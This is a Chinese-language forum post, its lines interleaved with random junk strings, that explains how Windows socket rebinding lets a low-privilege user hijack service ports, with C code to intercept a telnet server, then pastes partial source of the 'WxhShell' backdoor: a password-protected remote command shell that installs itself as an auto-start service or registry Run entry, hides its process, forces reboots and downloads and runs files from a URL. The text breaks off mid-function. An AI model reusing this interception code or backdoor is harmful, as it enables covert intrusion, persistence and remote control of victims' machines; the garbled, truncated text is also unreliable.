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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c F]3gM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^#se4qQ  
-74T C  
  saddr.sin_family = AF_INET; >/bK?yT<  
DjvgKy=Jr_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B)8Hj).@B  
y/eX(l<{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Un{ln*AR\  
:j4 [_9\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uF"`y&go  
!Jl0Eu  
  这意味着什么?意味着可以进行如下的攻击: tC-KW~&  
[HDO^6U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %tQ{Hf~  
>+8I =S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~1sl.8tF  
A"iD4Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q@VnJ,  
a@ }r[0O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RNtA4rC>#  
1Z8oN3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JZxF)] ^  
d2yHfl]3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LfXr(2u  
I.1l  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5zna?(#}  
J5 ( D7rp#  
  #include ABmDSV5i  
  #include Uy|=A7Ad c  
  #include ?I#hrv@  
  #include     WPKTX,k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UyKG$6F?3  
  int main()  j)6B^!  
  { [:@?,?V\N  
  WORD wVersionRequested; $IZZ`Z]B  
  DWORD ret; ?u!AHSr(  
  WSADATA wsaData; bKZ#>%|:o  
  BOOL val; ^oO5t-9<!  
  SOCKADDR_IN saddr; vaJXX  
  SOCKADDR_IN scaddr; V_622~Tc/[  
  int err; dU3 >h[q  
  SOCKET s; 8;&S9'ci  
  SOCKET sc; Vp"Ug,1  
  int caddsize; _rdj,F8  
  HANDLE mt; 0(9@GIT  
  DWORD tid;   Am0C|(#Xm  
  wVersionRequested = MAKEWORD( 2, 2 ); q*TKs#3  
  err = WSAStartup( wVersionRequested, &wsaData ); g_c)Ts(  
  if ( err != 0 ) { bv>lm56  
  printf("error!WSAStartup failed!\n"); bTp2)a^G  
  return -1; a;(zH*/XK  
  } ~U6YN_W  
  saddr.sin_family = AF_INET; utJVuJw:t  
   ]pTw]SK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .ASwX   
'?3z6%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >=:T ZU  
  saddr.sin_port = htons(23); QF/u^|f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z1&GtM  
  { [Fj+p4*N  
  printf("error!socket failed!\n"); 9|A-oS  
  return -1; &ntP~!w  
  } 13_~)V  
  val = TRUE; ;Jn0e:x`E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -7z y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e - ]c  
  { &dDI*v+  
  printf("error!setsockopt failed!\n"); E816 YS='  
  return -1; _s-HlE?C  
  } dN/ "1%9)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l~!fQ$~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C!k9JAa$Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rnv7L^9^A  
[*{\R`M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +xBK^5/x  
  {  >fA@tUQB  
  ret=GetLastError(); m?% H<4X  
  printf("error!bind failed!\n"); UAXF64w{  
  return -1;  `pd   
  } Bd~cY/M  
  listen(s,2); 4S0++Hp4  
  while(1)  |iUfM3  
  { n!eqzr{  
  caddsize = sizeof(scaddr); p6y0W`U  
  //接受连接请求 &DQ4=/Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ka)LK@p6  
  if(sc!=INVALID_SOCKET) eGe[sv"k  
  { :`u&TXsu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K[>@'P}y  
  if(mt==NULL) Ld3Bi2d|  
  { lH@E%  
  printf("Thread Creat Failed!\n"); }A)36  
  break; 5ZyBP~  
  } Zjic"E1  
  } avt>saR  
  CloseHandle(mt); ~{,vg4L  
  } j YIV^o 0  
  closesocket(s); :e<`U~8m  
  WSACleanup(); Tb0;Mbr  
  return 0; x1V2|~;p|  
  }   !Xx<~l IC  
  DWORD WINAPI ClientThread(LPVOID lpParam) KWh M  
  { u ?G\b{$m  
  SOCKET ss = (SOCKET)lpParam; Jt>[]g$  
  SOCKET sc; P`3s\8[Q  
  unsigned char buf[4096]; <r+!hJ[s'  
  SOCKADDR_IN saddr; ,*nZf|  
  long num; m$E^u[  
  DWORD val; xV>iL(?  
  DWORD ret; ')u5l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XL7;^AE^Wl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _95}ifSVm  
  saddr.sin_family = AF_INET; H MjeGO.i  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &Ky u@Tt  
  saddr.sin_port = htons(23); "?eH=!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cR=94i=t  
  { =yTa,PY  
  printf("error!socket failed!\n"); i+X2M-[Ls  
  return -1; FSU%?PxO  
  } 0ve`  
  val = 100; ( ztim  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =2nn "YVP  
  { n,?IcDU~m  
  ret = GetLastError(); #mRFUA  
  return -1; ,bVS.A'o  
  } [UJEU~XC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TXJY2J*24  
  { c.8((h/  
  ret = GetLastError(); iIGI=EwZ  
  return -1; A`x -L  
  } W`Q$t56  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s !hI:$J.  
  { Cl t5  
  printf("error!socket connect failed!\n"); ,jbGM&.C  
  closesocket(sc); Wm$`ae   
  closesocket(ss); 6@?aVM~  
  return -1; 5w,Z7I8  
  } t8DL9RW'  
  while(1) &>W  (l.  
  { LmXF`Y$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xMNNXPz(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xI@$aTGq  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A{aw< P|+  
  num = recv(ss,buf,4096,0); (aJP: ^  
  if(num>0) YA"Ti9-EV  
  send(sc,buf,num,0); %kK ][2e  
  else if(num==0) 5 PGlR!^  
  break; dSe8vA!)  
  num = recv(sc,buf,4096,0); b.R!2]T]i^  
  if(num>0) SLdN.4idK  
  send(ss,buf,num,0); 1tc]rC4h  
  else if(num==0) h6\3vfj^f  
  break; C(V[wvL  
  } ~[| V3h4v  
  closesocket(ss); Xq,UV  
  closesocket(sc); BKC7kDK3H  
  return 0 ; ceb s.sF:  
  } gV"qV   
=f4[=C$&`  
<G~} N  
========================================================== &2io^A P  
'?"t<$b  
下边附上一个代码,,WXhSHELL ceFsGdS  
[lNqT1%]  
========================================================== Ew %{ i(d  
:DdBn.  
#include "stdafx.h" D!bKm[T  
n+{HNr  
#include <stdio.h> \~@[QGKN  
#include <string.h> t."g\;  
#include <windows.h> #`jE%ONC  
#include <winsock2.h> 9Fy\t{ks  
#include <winsvc.h> ""1#bs{n  
#include <urlmon.h> bBUbw*DF)  
hWD !  
#pragma comment (lib, "Ws2_32.lib") 7?=43bZl  
#pragma comment (lib, "urlmon.lib") U1,~bO9  
0?lp/|K  
#define MAX_USER   100 // 最大客户端连接数 m~)Fr8Wh6  
#define BUF_SOCK   200 // sock buffer bZNIxkc[Dh  
#define KEY_BUFF   255 // 输入 buffer jWH{;V&ZV  
+}_Pf{MW  
#define REBOOT     0   // 重启 J [ YtA  
#define SHUTDOWN   1   // 关机 m:)Z6  
4S,.R  
#define DEF_PORT   5000 // 监听端口 P%zH>K  
k}-yOP{  
#define REG_LEN     16   // 注册表键长度 {$EH@$./  
#define SVC_LEN     80   // NT服务名长度 ;^R A!Nj  
.:}.b"%m  
// 从dll定义API R K"&l!o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); };&HhBc!g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  L5"8G,I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '[Mlmgc5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3iE-6udCS  
L([E98fo  
// wxhshell配置信息 ZCy`2Fir  
struct WSCFG { 3@^MvoC  
  int ws_port;         // 监听端口 tHrK~|  
  char ws_passstr[REG_LEN]; // 口令 }.0Bl&\UK  
  int ws_autoins;       // 安装标记, 1=yes 0=no @S`$C  
  char ws_regname[REG_LEN]; // 注册表键名 m7$8k@r  
  char ws_svcname[REG_LEN]; // 服务名 &|v{#,ymeb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PX;Vo~6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 06 QU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Z/yhF.{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no duX0Mc. 0P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M]}l^ m>L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CzYGq  
;wJ~haC  
}; kf<c, 3A  
CY34X2F  
// default Wxhshell configuration <,\ `Psa)N  
struct WSCFG wscfg={DEF_PORT, &^ V~cJ  
    "xuhuanlingzhe", _i5mC,OffN  
    1, NF6X- ,c d  
    "Wxhshell", bf& }8I$  
    "Wxhshell", _p\629`  
            "WxhShell Service", &!ED# gs  
    "Wrsky Windows CmdShell Service", p6`Pp"J_tr  
    "Please Input Your Password: ", z< z*Wz  
  1, Ls&+XlrX8  
  "http://www.wrsky.com/wxhshell.exe", sU\c#|BSC"  
  "Wxhshell.exe" x&'o ]Y  
    }; >A-<ZS*N  
c\At0.QCA  
// 消息定义模块 y8G&Wg aCi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P Q7A~dw9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gX[|;IZ0o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )FRM_$t  
char *msg_ws_ext="\n\rExit."; )h#]iGVN}  
char *msg_ws_end="\n\rQuit."; rJ'/\Hh5P  
char *msg_ws_boot="\n\rReboot..."; puOC60zI  
char *msg_ws_poff="\n\rShutdown..."; MWiMUTZg3  
char *msg_ws_down="\n\rSave to "; N;uUx#z  
Ab/j(xr=  
char *msg_ws_err="\n\rErr!"; W+_RhJ  
char *msg_ws_ok="\n\rOK!"; p8Iw!HE  
OFA{ KZga  
char ExeFile[MAX_PATH];  3P1&;  
int nUser = 0; nSS>\$  
HANDLE handles[MAX_USER]; OB(pIzSe  
int OsIsNt; + :Vrip  
/D<"wF }@J  
SERVICE_STATUS       serviceStatus; OA[&Za#w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Gca6e3  
- a y5  
// 函数声明 'l~6ErBSg  
int Install(void); Guh%eR'Wt  
int Uninstall(void); jk$86ma!  
int DownloadFile(char *sURL, SOCKET wsh);  {@gAv!  
int Boot(int flag); []|;qHhC~(  
void HideProc(void); syv$XeG=}  
int GetOsVer(void); x[QZ@rGIW  
int Wxhshell(SOCKET wsl); \i!Son.<  
void TalkWithClient(void *cs); ,|+Gls  
int CmdShell(SOCKET sock); vv6?V#{  
int StartFromService(void); I]h-\;96  
int StartWxhshell(LPSTR lpCmdLine); &rp!%]+xAM  
RPVT*`o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P"1 S$oc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wqra8u#  
oBA`|yW{U  
// 数据结构和表定义 1~J5uB4  
SERVICE_TABLE_ENTRY DispatchTable[] = K%MW6y  
{ cq*=|m0}Z  
{wscfg.ws_svcname, NTServiceMain}, ZU^I H9  
{NULL, NULL} 2edBQYWd  
}; MM?`voj~`p  
Y>B P?l  
// 自我安装 ,w{m3;]_%  
int Install(void) 6-B 9na  
{ XF}rd.K:  
  char svExeFile[MAX_PATH]; #]9hTa IR  
  HKEY key; $+cAg >  
  strcpy(svExeFile,ExeFile); lv]quloT  
YD\]{,F|  
// 如果是win9x系统,修改注册表设为自启动 pQMtj0(y  
if(!OsIsNt) { Q/ZkW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vfcb:x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n-o3  
  RegCloseKey(key); DdSSd@,x*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;gMgj$mI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F[saP0 *  
  RegCloseKey(key); :~zv t  
  return 0; /4$4h;_8  
    } Z)pz,  
  } #D*r]M  
} F2 ~%zNe  
else { g%xGOA  
1f#mHt:(  
// 如果是NT以上系统,安装为系统服务 fr[3:2g-_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 99=s4*xzM  
if (schSCManager!=0) Wkzs<y"  
{ w8iR|TV  
  SC_HANDLE schService = CreateService C5W>W4EM  
  ( S[,8TErz  
  schSCManager, Vw#{C>  
  wscfg.ws_svcname, :!fG; )=  
  wscfg.ws_svcdisp, 4 o(bxs"  
  SERVICE_ALL_ACCESS, >^$2f&z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LO:fJ{ -  
  SERVICE_AUTO_START, \*0yaSQF  
  SERVICE_ERROR_NORMAL, Bfr'Zdw  
  svExeFile, iWLa>z|,  
  NULL, ]XA4;7  
  NULL, ,FZT~?  
  NULL, W `z 0"  
  NULL, :q#K} /  
  NULL Y[Ltrk{  
  ); 9}29&O  
  if (schService!=0) ] asBd"  
  { dQb.BOI)h  
  CloseServiceHandle(schService); N ]N4^A'  
  CloseServiceHandle(schSCManager); !k&Q 5s:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @}s$]i$|-  
  strcat(svExeFile,wscfg.ws_svcname); 7v7G[n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _:`!DIz~9}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CO?Xt+1hR  
  RegCloseKey(key); 2; `=P5V  
  return 0; #~L h#  
    } }_ mT l@*  
  } 4~z?"  
  CloseServiceHandle(schSCManager); ?BA^YF  
} Pw0Ci  
} ?=;qK{)37  
aqU' T  
return 1; i/So6jW  
} &~e$:8 +  
27F~(!n  
// 自我卸载 J;$N{"M  
int Uninstall(void) wsU V;S*X%  
{ " =] -%B  
  HKEY key; QK`i%TXJ  
Cx_Q: 6T  
if(!OsIsNt) { !0,Mp@ j/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,TJ D$^  
  RegDeleteValue(key,wscfg.ws_regname); !ZRs;UZ>o  
  RegCloseKey(key); o>/O++7Ra  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CjIu[S1%  
  RegDeleteValue(key,wscfg.ws_regname); ]rN5Ao}2  
  RegCloseKey(key); . lgPFr6X  
  return 0; *i{Y9f8  
  } f.B>&%JRZ  
} clw%B  
} A"5z6A4WB  
else { 9@ 16w  
9Z5D\yv?H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3q:n'PC)C  
if (schSCManager!=0) SLfFqc+n0  
{ %ir:AS k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YW \0k5[  
  if (schService!=0) R%D'`*+  
  { U$dh1;  
  if(DeleteService(schService)!=0) { h].~#*  
  CloseServiceHandle(schService); VdSv  
  CloseServiceHandle(schSCManager); WKz> !E%  
  return 0; 9`//^8G:=  
  }  ^YdcAHjK  
  CloseServiceHandle(schService); Sn4[3JV$l  
  } )u]9193  
  CloseServiceHandle(schSCManager); ?E%ELs_Dl  
} R"MRnr_4K  
} 2`GE  
:u8(^]N  
return 1; 7!y5 SX8C  
} dC\ZjZZ  
u]+~VT1C,3  
// 从指定url下载文件 .\0isO  
int DownloadFile(char *sURL, SOCKET wsh) Cv ejb+  
{ ?Iyo9&1&  
  HRESULT hr; )}vNOE?X~  
char seps[]= "/"; obrl#(\P  
char *token; vDl- "!G1  
char *file; \#-W <  
char myURL[MAX_PATH]; :0)3K7Q   
char myFILE[MAX_PATH]; {j5e9pg1L|  
@~c6qh  
strcpy(myURL,sURL); ]ul$*  
  token=strtok(myURL,seps); Ch$*Gm19Z  
  while(token!=NULL) 7@lS.w\#-  
  { /&F,V+x  
    file=token; W>VP'vn}  
  token=strtok(NULL,seps); !zj0/Q G\  
  } /xGmg`g<#  
~c)~015`  
GetCurrentDirectory(MAX_PATH,myFILE); ^<e@uNGg  
strcat(myFILE, "\\"); mC?i}+4>4R  
strcat(myFILE, file); 'TH15r@  
  send(wsh,myFILE,strlen(myFILE),0); 6hZ@;Q=b  
send(wsh,"...",3,0); G7--v,R1x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7XKY]|S,'  
  if(hr==S_OK) b"!Q2S~  
return 0; "YdEE\  
else 8:BIbmtt5  
return 1; ?pgG,=?  
Q+b D}emd  
} +aF}oA&X[  
oAWzYu(v  
// 系统电源模块 O=SkAsim  
int Boot(int flag) P=3RLL<l  
{ W^3uEm&l!)  
  HANDLE hToken; 322jR4QGr  
  TOKEN_PRIVILEGES tkp; ]EwVpvTw  
r]3'74j:  
  if(OsIsNt) { J psPNa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O+ }qQNe<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `wF8k{Pb  
    tkp.PrivilegeCount = 1; WDFjp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FnJ?C&xK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;nC.fBu  
if(flag==REBOOT) { V=fEPM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <mi-}s  
  return 0; S= _vv)6+4  
} 2z\zh[(w  
else { z'uK3ng\hH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HB Iip?  
  return 0; l;y7]DO  
} >.dWjb6t  
  } vSi_t K4  
  else { WTImRXK4  
if(flag==REBOOT) { zC _<(4$-"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TuW%zF/  
  return 0; rx (2yf  
} N3u((y/  
else { >#,G}xf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6#IU*  
  return 0; PJcwH6m  
} G$ _yy:  
} s'kDk2r  
%Y!Yvw^&P(  
return 1; ^v.,y3  
} @?YRuwp L  
vjjSKP6B  
// win9x进程隐藏模块 ,+~rd4a  
void HideProc(void) \P1S|ufv  
{ K&8dA0i2u2  
CHV*vU<N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kcb.Wz~=  
  if ( hKernel != NULL ) JyR/1 W  
  { sKlDu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ooUk O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N^Bo .U0\  
    FreeLibrary(hKernel); n_3O-X(  
  } t3dlS`O  
TLoz)&@  
return; kOh{l: 2-+  
} 5|jw^s7  
#v<QbA  
// 获取操作系统版本 ChCrL [2  
int GetOsVer(void) [o F|s-"9!  
{ B'^:'uG  
  OSVERSIONINFO winfo; L#vI=GpL,r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &ZL3{M  
  GetVersionEx(&winfo); tK&' <tZh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Ri6Z#qm  
  return 1; F <hJp,q9  
  else rXA*NeA3v  
  return 0; vDH>H^9Y  
} qhT@;W/X  
7O, U?p  
// 客户端句柄模块 !9xp cQ>  
int Wxhshell(SOCKET wsl) ~ o1x;Y6  
{ 271&i  
  SOCKET wsh; ` AY_2>7  
  struct sockaddr_in client; -eX5z  
  DWORD myID; >Wz;ySEz  
msVO H%wH  
  while(nUser<MAX_USER) @xB*KyUW  
{ :O(^w}sle  
  int nSize=sizeof(client); ^5=B`aich  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d6W SL;$  
  if(wsh==INVALID_SOCKET) return 1; c+2FC@q{l  
WJ_IuX51'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]J Ye*  
if(handles[nUser]==0) ?(R]9.5S  
  closesocket(wsh); JGuN:c$  
else %'[&U#-  
  nUser++; 1 5A*7|  
  } _1U1(^)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n5{Xj:}  
Uh][@35 p  
  return 0; n_'s=]~  
} ;pnD0bH  
ij?  
// 关闭 socket TC<@e<-%Sq  
void CloseIt(SOCKET wsh) C:Hoq(  
{ Zfyo-Wk  
closesocket(wsh); qG<$Ajiin  
nUser--; &gjF4~W]  
ExitThread(0); qbv#I;  
} < P`u}  
K# Jk _"W  
// 客户端请求句柄 F{UP;"8'  
void TalkWithClient(void *cs) e @IA20  
{ 3;a<_cE*@  
}Q";aU0^  
  SOCKET wsh=(SOCKET)cs; u;`U*@  
  char pwd[SVC_LEN]; /tUy3myJ  
  char cmd[KEY_BUFF]; i\dc>C ;  
char chr[1]; /c,(8{(O  
int i,j; lg(bDK m  
*k19LI.5  
  while (nUser < MAX_USER) { z`\F@pX%wC  
|m2X+s9  
if(wscfg.ws_passstr) { DG?"5:Zd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yV"ZRrjO'Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G_SG  
  //ZeroMemory(pwd,KEY_BUFF); s&NX@  
      i=0; {uHU]6d3qy  
  while(i<SVC_LEN) { =KR NvW  
@WI2hHD  
  // 设置超时 &9Xhl''  
  fd_set FdRead; Mb]rY>B4  
  struct timeval TimeOut; ahPoEh  
  FD_ZERO(&FdRead); ?.YOI.U^  
  FD_SET(wsh,&FdRead); c_V;DcZ  
  TimeOut.tv_sec=8; :hM/f  
  TimeOut.tv_usec=0; G>q(iF'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ud!4"<C_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7[.6axL  
` P9XqWr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P><o,s"v  
  pwd=chr[0]; +-G<c6 |  
  if(chr[0]==0xd || chr[0]==0xa) { wR^R M(1  
  pwd=0; -e8}Pm "  
  break; Hbpqyl%O>  
  } Qm/u h  
  i++; DoeiW=  
    } 0fYj4`4=n  
W>O~-2  
  // 如果是非法用户,关闭 socket 0A( +ZMd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =" g*\s?r  
} K#U<ib-v  
W]nSR RWco  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |<GDUwC_;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VP6ZiQ|  
yUp,NfS]o  
while(1) { nH<eR)0  
'z[Sp~I\  
  ZeroMemory(cmd,KEY_BUFF); ObiT-D?)g  
g]c6& Y,#  
      // 自动支持客户端 telnet标准   {\(L%\sV@  
  j=0; ]GRWnif  
  while(j<KEY_BUFF) { 9[^gAR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d,=r 9.  
  cmd[j]=chr[0]; q5#J~n8Wr  
  if(chr[0]==0xa || chr[0]==0xd) { y>aZXa  
  cmd[j]=0; .<Zy|1 4  
  break; c.j$9=XLBG  
  } ,L`$09\  
  j++; p8]68!=W\F  
    } beu\cV3  
WAS U0  
  // 下载文件 HTyLJe  
  if(strstr(cmd,"http://")) { B~_d^`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~SnSEhE  
  if(DownloadFile(cmd,wsh)) 7bV{Q355P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /;utcc  
  else W]5USFan  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qk;{cfzHA  
  } ) lZp9O  
  else { ?G -e](]^<  
_C`K*u 6Z<  
    switch(cmd[0]) { sUU{fNC6|  
  zNIsf "  
  // 帮助 1SR+m>pL  
  case '?': { r}jGUe}d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k0Uyf~p~  
    break; !H}vu]R  
  } t>[KVVg W  
  // 安装 (4Zts0O\  
  case 'i': { /\W Qx e  
    if(Install()) <0PT"ij  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,.qMEMm  
    else r9ww.PpNk#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "1HRLci  
    break; k+DR]icv  
    } 'FS?a  
  // 卸载 :M6+p'`j  
  case 'r': { uIDuGrt  
    if(Uninstall()) G3{=@Z1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1rDqa(7  
    else =%> oR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NwZ@#D#[ Y  
    break; (bh95X  
    } p f_mf.  
  // 显示 wxhshell 所在路径 Yl.0aS  
  case 'p': { npNB{J[  
    char svExeFile[MAX_PATH]; /*c\qXA5  
    strcpy(svExeFile,"\n\r"); as>L[jyG/  
      strcat(svExeFile,ExeFile); C,.Ee3T  
        send(wsh,svExeFile,strlen(svExeFile),0); *Otg*, \  
    break; PK4iuU`vh  
    } ]TyisaT  
  // 重启 &JtV'@>v  
  case 'b': { ^tCd L@$AS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]C:l,I  
    if(Boot(REBOOT)) *>+,(1Fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E_bO9nRHV  
    else { Y "VY%S^  
    closesocket(wsh); PxfY&;4n!  
    ExitThread(0); z$kenhFG/  
    } {4-[r#R<M  
    break; Yp:KI7  
    } ($~RoQ=0S  
  // 关机 Y)}Rb6qGW  
  case 'd': { s$a09x  
